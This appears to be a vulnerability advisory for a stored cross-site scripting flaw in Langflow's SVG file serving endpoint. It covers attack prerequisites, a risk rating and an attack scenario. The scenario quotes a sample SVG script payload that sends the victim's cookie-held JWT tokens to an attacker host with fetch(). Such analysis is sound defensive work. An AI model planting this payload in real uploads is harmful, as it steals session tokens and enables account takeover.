Langflow CVE-2026-5026

Requires authenticated access to Langflow with file upload privileges (CVSS PR:L indicates low-privileged user account sufficient). The attacker must be able to upload SVG files through the flow creation or editing interface and obtain the flow_id and file_name to construct the vulnerable endpoint URL. Victim must interact with the malicious content by viewing the flow containing the crafted SVG (CVSS UI:P), typically through normal workflow review, shared flow inspection, or community flow installation. Exploitation is limited to environments where Langflow stores JWT tokens in cookies accessible to JavaScript (HttpOnly flag not set), and where the application renders user-uploaded SVGs inline rather than forcing downloads. Does not require specific Langflow configuration settings, special plugins, or non-default deployment modes - the vulnerable endpoint appears to be part of core file serving functionality. Attack surface expands significantly in multi-tenant deployments or community flow sharing scenarios where untrusted users can publish flows, but is minimal in single-user development environments.

Real-world risk is moderate despite the 7.0 CVSS score. Multiple signals suggest controlled exploitation: CVSS requires low privileges (PR:L) and user interaction (UI:P), limiting blast radius compared to unauthenticated wormable XSS. EPSS score of 0.07% (22nd percentile) indicates low probability of mass exploitation attempts. SSVC framework confirms no active exploitation, non-automatable attack chain, and partial technical impact. However, the attack is technically simple for insiders or compromised accounts - upload malicious SVG, social engineer victim to view it. The high confidentiality impact (VC:H) is justified because successful exploitation exfiltrates authentication tokens, enabling full account takeover. Primary risk scenarios: supply chain attacks where malicious flows containing SVGs are shared in Langflow communities, or insider threats in multi-tenant deployments. The UI:P requirement (victim must view the SVG) provides some natural rate limiting but doesn't prevent targeted attacks. Priority should be elevated in environments where Langflow handles sensitive data or has external user-facing deployments, but can be deprioritized in isolated development instances with trusted users only.

An authenticated Langflow user with file upload permissions creates a new flow and uploads a malicious SVG file containing embedded JavaScript (e.g., <script>fetch('https://attacker.com/exfil?token='+document.cookie)</script>) disguised as a workflow diagram or icon. The attacker shares the flow with colleagues or publishes it to a community repository. When a victim user views the flow in their Langflow instance, their browser fetches the SVG via the '/api/v1/files/images/{flow_id}/{file_name}' endpoint, which serves it with 'image/svg+xml' content type. The victim's browser executes the embedded JavaScript in the Langflow origin context, extracting JWT access and refresh tokens from cookies and exfiltrating them to the attacker's server, enabling full account takeover. The attack requires no public exploit code as manual SVG crafting is straightforward.